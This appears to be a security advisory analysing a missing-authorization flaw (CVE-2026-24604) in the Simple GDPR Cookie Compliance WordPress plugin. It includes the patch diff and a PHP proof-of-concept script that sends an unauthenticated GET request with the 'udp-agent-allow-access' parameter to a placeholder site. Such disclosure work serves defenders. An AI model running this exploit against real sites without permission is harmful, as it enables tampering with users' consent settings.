Atomic Edge analysis of CVE-2026-24604:
The Simple GDPR Cookie Compliance WordPress plugin contains a missing authorization vulnerability in versions up to and including 2.0.0. This flaw allows unauthenticated attackers to trigger a user tracking choice processing function, bypassing intended access controls. The CVSS 5.3 score reflects a medium severity issue with confidentiality and integrity impacts.
Atomic Edge research identifies the root cause in the `process_user_tracking_choice()` function within `/includes/udp/class-udp-agent.php`. The vulnerable function, starting at line 172, processes user input without verifying the requesting user’s authentication status or capabilities. The function directly accesses the `udp-agent-allow-access` GET parameter without performing any authorization checks, making it accessible to any visitor.
The exploitation method involves sending a GET request to the WordPress installation with a specific parameter. Attackers can trigger the vulnerable function by accessing any page on the site while appending `?udp-agent-allow-access=value` to the URL. The parameter value is sanitized but the function executes regardless of the user’s authentication state. This allows complete bypass of the intended access controls that should restrict this functionality to administrators.
The patch adds an authorization check at the beginning of the `process_user_tracking_choice()` function. The fix verifies two conditions: `is_user_logged_in()` and `current_user_can(‘manage_options’)`. If either check fails, the plugin redirects the user to the home page and terminates execution. This ensures only authenticated users with administrator privileges can access the tracking choice functionality. The plugin version number also increments from 2.0.0 to 2.0.1 in the main plugin file.
Successful exploitation allows attackers to manipulate user tracking preferences without authorization. While the exact impact depends on the plugin’s implementation details, this could enable unauthorized modification of cookie consent settings, potentially affecting GDPR compliance. Attackers could disable tracking restrictions or modify consent records, compromising user privacy controls.
--- a/simple-gdpr-cookie-compliance/includes/udp/class-udp-agent.php
+++ b/simple-gdpr-cookie-compliance/includes/udp/class-udp-agent.php
@@ -172,6 +172,11 @@
* @since 1.0.0
*/
private function process_user_tracking_choice() {
+ // Verify if the user is logged in and has the capability to manage options.
+ if ( ! is_user_logged_in() || ! current_user_can( 'manage_options' ) ) {
+ wp_safe_redirect( home_url() );
+ exit;
+ }
$users_choice = isset( $_GET['udp-agent-allow-access'] ) ? sanitize_text_field( wp_unslash( $_GET['udp-agent-allow-access'] ) ) : ''; //phpcs:ignore
--- a/simple-gdpr-cookie-compliance/simple-gdpr-cookie-compliance.php
+++ b/simple-gdpr-cookie-compliance/simple-gdpr-cookie-compliance.php
@@ -9,17 +9,17 @@
* Plugin Name: Simple GDPR Cookie Compliance
* Plugin URI: https://themebeez.com/plugins/simple-gdpr-cookie-compliance
* Description: Simple GDPR Cookie Compliance is a simple plugin that helps to display cookie notice on your WordPress website.
- * Version: 2.0.0
+ * Version: 2.0.1
* Requires at least: 5.6
* Requires PHP: 7.4
- * Tested up to: 6.7
+ * Tested up to: 6.9.1
* Author: themebeez
* Author URI: https://themebeez.com/
* License: GPL-2.0+
* License URI: http://www.gnu.org/licenses/gpl-2.0.txt
* Text Domain: simple-gdpr-cookie-compliance
* Domain Path: /languages
- * Tags: cookie notice, GDPR, CCPA, cookie privacy, cookie consent
+ * Tags: cookie notice, cookie banner, GDPR cookie, cookie privacy, cookie consent
*/
// If this file is called directly, abort.
@@ -32,7 +32,7 @@
* Start at version 1.0.0 and use SemVer - https://semver.org
* Rename this for your plugin and update it as you release new versions.
*/
-define( 'SIMPLE_GDPR_COOKIE_COMPLIANCE_VERSION', '2.0.0' );
+define( 'SIMPLE_GDPR_COOKIE_COMPLIANCE_VERSION', '2.0.1' );
define( 'SIMPLE_GDPR_COOKIE_COMPLIANCE_BASENAME', plugin_basename( __FILE__ ) );
/**
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24604 - Simple GDPR Cookie Compliance <= 2.0.0 - Missing Authorization
<?php
// Configuration
$target_url = 'https://vulnerable-wordpress-site.com/';
$parameter = 'udp-agent-allow-access';
$test_value = 'test_value';
// Build the exploit URL
$exploit_url = $target_url . '?' . $parameter . '=' . urlencode($test_value);
// Initialize cURL session
$ch = curl_init();
// Set cURL options
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// Add headers to simulate normal browser request
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'User-Agent: Atomic-Edge-PoC/1.0',
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
]);
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Check for errors
if (curl_errno($ch)) {
echo 'cURL Error: ' . curl_error($ch) . "n";
} else {
echo 'HTTP Response Code: ' . $http_code . "n";
echo 'Request URL: ' . $exploit_url . "n";
echo 'Vulnerability test completed. ';
// Analyze response
if ($http_code == 200 && strpos($response, 'wp-content') !== false) {
echo 'Site appears vulnerable - function executed without authentication.' . "n";
} else if ($http_code == 302 || $http_code == 301) {
echo 'Site may be patched - redirect detected (patched version redirects to home).' . "n";
} else {
echo 'Status uncertain - manual verification required.' . "n";
}
}
// Clean up
curl_close($ch);
?>
